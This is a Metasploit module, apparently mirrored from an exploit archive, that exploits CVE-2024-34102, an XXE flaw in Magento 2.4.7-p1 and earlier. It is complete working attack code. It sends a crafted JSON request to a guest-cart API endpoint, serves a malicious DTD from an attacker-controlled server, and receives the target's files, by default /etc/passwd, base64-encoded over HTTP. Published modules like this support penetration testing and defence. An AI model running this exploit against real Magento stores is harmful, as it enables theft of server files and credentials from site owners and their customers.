## https://sploitus.com/exploit?id=PACKETSTORM:180604
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck
CheckCode = Exploit::CheckCode
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Magento XXE Unserialize Arbitrary File Read',
'Description' => %q{
This module exploits a XXE vulnerability in Magento 2.4.7-p1 and below which allows an attacker to read any file on the system.
},
'License' => MSF_LICENSE,
'Author' => [
'Sergey Temnikov', # Vulnerability discovery
'Heyder', # Metasploit module
],
'References' => [
['CVE', '2024-34102'],
['URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md']
],
'DisclosureDate' => '2024-06-11',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),
OptString.new('TARGETFILE', [ true, 'The target file to read', '/etc/passwd']),
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false])
]
)
end
def check
vprint_status('Trying to get the Magento version')
# request to check if the target is vulnerable /magento_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/magento_version')
})
return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200
# Magento/2.4 (Community)
version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first
version = Rex::Version.new(version)
return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless
version <= (Rex::Version.new('2.4.7')) ||
version <= (Rex::Version.new('2.4.6-p5')) ||
version <= (Rex::Version.new('2.4.5-p7')) ||
version <= (Rex::Version.new('2.4.4-p8')) ||
(
edition == 'Enterprise' && (
version <= (Rex::Version.new('2.4.3-ext-7')) ||
version <= (Rex::Version.new('2.4.2-ext-7'))
)
)
CheckCode::Appears("Detected Magento #{edition} edition version #{version} which is vulnerable")
end
def ent_eval
@ent_eval ||= Rex::Text.rand_text_alpha_lower(4..8)
end
def leak_param_name
@leak_param_name ||= Rex::Text.rand_text_alpha_lower(4..8)
end
def dtd_param_name
@dtd_param_name ||= Rex::Text.rand_text_alpha_lower(4..8)
end
def make_xxe_dtd
filter_path = "php://filter/convert.base64-encode/resource=#{datastore['TARGETFILE']}"
ent_file = Rex::Text.rand_text_alpha_lower(4..8)
%(
<!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
<!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/?#{leak_param_name}=%#{ent_file};'>">
)
end
def xxe_xml_data
param_entity_name = Rex::Text.rand_text_alpha_lower(4..8)
xml = "<?xml version='1.0' ?>"
xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"
xml += '['
xml += " <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"
xml += " <!ENTITY % #{param_entity_name} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
xml += ']'
xml += "> <r>&#{ent_eval};</r>"
xml
end
def xxe_request
vprint_status('Sending XXE request')
signature = Rex::Text.rand_text_alpha(6).capitalize
post_data = <<~EOF
{
"address": {
"#{signature}": "#{Rex::Text.rand_text_alpha_lower(4..8)}",
"totalsCollector": {
"collectorList": {
"totalCollector": {
"\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": {
"data": "#{xxe_xml_data}",
"options": 12345678
}
}
}
}
}
}
EOF
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/1/estimate-shipping-methods'),
'ctype' => 'application/json',
'data' => post_data
})
fail_with(Failure::UnexpectedReply, "Server returned unexpected response: #{res.code}") unless res&.code == 400
body = res.get_json_document
fail_with(Failure::UnexpectedReply, 'Server might not be vulnerable') unless body['parameters']['fieldName'] == signature
end
def run
if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
end
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
datastore['SSL'] = true if ssl_restore
xxe_request
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
end
def on_request_uri(cli, req)
super
data = ''
case req.uri
when /(.*).dtd/
vprint_status("Received request for DTD file from #{cli.peerhost}")
data = make_xxe_dtd
when /#{leak_param_name}/
data = req.uri_parts['QueryString'].values.first.gsub(/\s/, '+')
if data&.empty?
print_error('No data received')
else
file_name = datastore['TARGETFILE']
file_data = ::Base64.decode64(data).force_encoding('UTF-8')
if datastore['STORE_LOOT']
p = store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'Magento XXE CVE-2024-34102 Results')
print_good("File saved in: #{p}")
else
# A new line is sent before file contents for better readability
print_good("File read succeeded! \n#{file_data}")
end
end
else
print_status("Unexpected request received: '#{req.method} #{req.uri}'")
end
send_response(cli, data)
end
end